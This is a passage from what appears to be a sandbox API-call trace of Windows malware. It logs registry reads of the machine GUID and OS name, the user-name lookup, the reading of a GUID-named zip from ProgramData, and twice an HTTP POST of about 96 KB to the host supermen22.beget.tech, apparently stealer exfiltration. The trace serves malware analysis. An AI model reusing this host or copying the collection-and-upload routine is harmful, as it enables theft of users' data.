hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f858 | out: phkResult=0x19f858*=0x2e4) returned 0x0 [0156.748] RegQueryValueExA (in: hKey=0x2e4, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x19f960, lpcbData=0x19f85c*=0xff | out: lpType=0x0, lpData=0x19f960*=0x57, lpcbData=0x19f85c*=0xf) returned 0x0 [0156.748] RegCloseKey (hKey=0x2e4) returned 0x0 [0156.748] CharToOemA (in: pSrc="Windows 10 Pro", pDst=0x19f860 | out: pDst="Windows 10 Pro") returned 1 [0156.748] GetCurrentProcess () returned 0xffffffff [0156.748] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19fa60 | out: Wow64Process=0x19fa60) returned 1 [0156.748] GetUserNameA (in: lpBuffer=0x19f95c, pcbBuffer=0x19f958 | out: lpBuffer="CIiHmnxMn6Ps", pcbBuffer=0x19f958) returned 1 [0156.748] CreateFileA (lpFileName="DE_427a1946-e0ff-4097-8c9e-ca2c1e22780b1188567168.zip" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\de_427a1946-e0ff-4097-8c9e-ca2c1e22780b1188567168.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e4 [0156.749] GetFileSize (in: hFile=0x2e4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x17c20 [0156.749] ReadFile (in: hFile=0x2e4, lpBuffer=0x1e9040d, nNumberOfBytesToRead=0x17c20, lpNumberOfBytesRead=0x19f9e8, lpOverlapped=0x0 | out: lpBuffer=0x1e9040d*, lpNumberOfBytesRead=0x19f9e8*=0x17c20, lpOverlapped=0x0) returned 1 [0156.749] CloseHandle (hObject=0x2e4) returned 1 [0156.750] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x593e28 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0156.750] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0156.750] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f8b4, dwBufferLength=0x4) returned 1 [0156.750] InternetConnectA (hInternet=0xcc0004, lpszServerName="supermen22.beget.tech", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0156.750] InternetSetOptionA (hInternet=0xcc0008, dwOption=0x41, lpBuffer=0x1, dwBufferLength=0x0) returned 0 [0156.750] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0156.750] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0156.750] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0156.750] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0156.750] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0156.750] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A", dwHeadersLength=0x3f, dwModifiers=0x20000000) returned 1 [0156.750] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Length: 98304", dwHeadersLength=0x15, dwModifiers=0x20000000) returned 1 [0156.750] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x1e90048*, dwOptionalLength=0x18000 | out: lpOptional=0x1e90048*) returned 1 [0172.309] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2e, lpBuffer=0x19f928, lpdwBufferLength=0x19f8b8, lpdwIndex=0x0 | out: lpBuffer=0x19f928, lpdwBufferLength=0x19f8b8, lpdwIndex=0x0) returned 0 [0172.309] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0172.309] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e82790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f734 | out: lpBuffer=0x1e82790*, lpdwNumberOfBytesRead=0x19f734*=0x0) returned 1 [0172.309] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f790, lpdwBufferLength=0x19f734, lpdwIndex=0x0 | out: lpBuffer=0x19f790, lpdwBufferLength=0x19f734, lpdwIndex=0x0) returned 0 [0172.309] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0172.309] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0172.309] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0258.316] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f858 | out: phkResult=0x19f858*=0x248) returned 0x0 [0258.316] RegQueryValueExA (in: hKey=0x248, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19f960, lpcbData=0x19f85c*=0xff | out: lpType=0x0, lpData=0x19f960*=0x34, lpcbData=0x19f85c*=0x25) returned 0x0 [0258.316] RegCloseKey (hKey=0x248) returned 0x0 [0258.316] CharToOemA (in: pSrc="427a1946-e0ff-4097-8c9e-ca2c1e22780b", pDst=0x19f860 | out: pDst="427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 1 [0258.316] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f858 | out: phkResult=0x19f858*=0x248) returned 0x0 [0258.316] RegQueryValueExA (in: hKey=0x248, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x19f960, lpcbData=0x19f85c*=0xff | out: lpType=0x0, lpData=0x19f960*=0x57, lpcbData=0x19f85c*=0xf) returned 0x0 [0258.316] RegCloseKey (hKey=0x248) returned 0x0 [0258.316] CharToOemA (in: pSrc="Windows 10 Pro", pDst=0x19f860 | out: pDst="Windows 10 Pro") returned 1 [0258.316] GetCurrentProcess () returned 0xffffffff [0258.317] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19fa60 | out: Wow64Process=0x19fa60) returned 1 [0258.317] GetUserNameA (in: lpBuffer=0x19f95c, pcbBuffer=0x19f958 | out: lpBuffer="CIiHmnxMn6Ps", pcbBuffer=0x19f958) returned 1 [0258.317] CreateFileA (lpFileName="DE_427a1946-e0ff-4097-8c9e-ca2c1e22780b1188567168.zip" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\de_427a1946-e0ff-4097-8c9e-ca2c1e22780b1188567168.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x248 [0258.317] GetFileSize (in: hFile=0x248, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x17c20 [0258.317] ReadFile (in: hFile=0x248, lpBuffer=0x1e9040d, nNumberOfBytesToRead=0x17c20, lpNumberOfBytesRead=0x19f9e8, lpOverlapped=0x0 | out: lpBuffer=0x1e9040d*, lpNumberOfBytesRead=0x19f9e8*=0x17c20, lpOverlapped=0x0) returned 1 [0258.318] CloseHandle (hObject=0x248) returned 1 [0258.318] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x593de8 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0258.318] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0258.318] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f8b4, dwBufferLength=0x4) returned 1 [0258.318] InternetConnectA (hInternet=0xcc0004, lpszServerName="supermen22.beget.tech", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0258.318] InternetSetOptionA (hInternet=0xcc0008, dwOption=0x41, lpBuffer=0x1, dwBufferLength=0x0) returned 0 [0258.318] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0258.319] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0258.319] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0258.319] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0258.319] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0258.319] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A", dwHeadersLength=0x3f, dwModifiers=0x20000000) returned 1 [0258.319] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Length: 98304", dwHeadersLength=0x15, dwModifiers=0x20000000) returned 1 [0258.319] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x1e90048*, dwOptionalLength=0x18000 | out: lpOptional=0x1e90048*) returned 1 [0277.023] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2e, lpBuffer=0x19f928, lpdwBufferLength=0x19f8b8, lpdwIndex=0x0 | out: lpBuffer=0x19f928, lpdwBufferLength=0x19f8b8, lpdwIndex=0x0) returned 0 [0277.023] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0277.023] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e82790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f734 | out: lpBuffer=0x1e82790*, lpdwNumberOfBytesRead=0x19f734*=0x0) returned 1 [0277.023] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f790, lpdwBufferLength=0x19f734, lpdwIndex=0x0 | out: lpBuffer=0x19f790, lpdwBufferLength=0x19f734, lpdwIndex=0x0) returned 0 [0277.023] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0277.023] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0277.023] InternetCloseHandle (hInternet=0xcc0004) returned 1 Thread: id = 2 os_tid = 0xe18 Thread: id = 3 os_tid = 0xe1c Thread: id = 4 os_tid = 0xe20 Thread: id = 5 os_tid = 0xe28 Thread: id = 6 os_tid = 0xe58 Thread: id = 7 os_tid = 0xe5c Thread: id = 8 os_tid = 0xee8 Thread: id = 9 os_tid = 0xfec Thread: id = 10 os_tid = 0x548 Thread: id = 11 os_tid = 0x804 Thread: id = 12 os_tid = 0x270 Thread: id = 13 os_tid = 0x6d0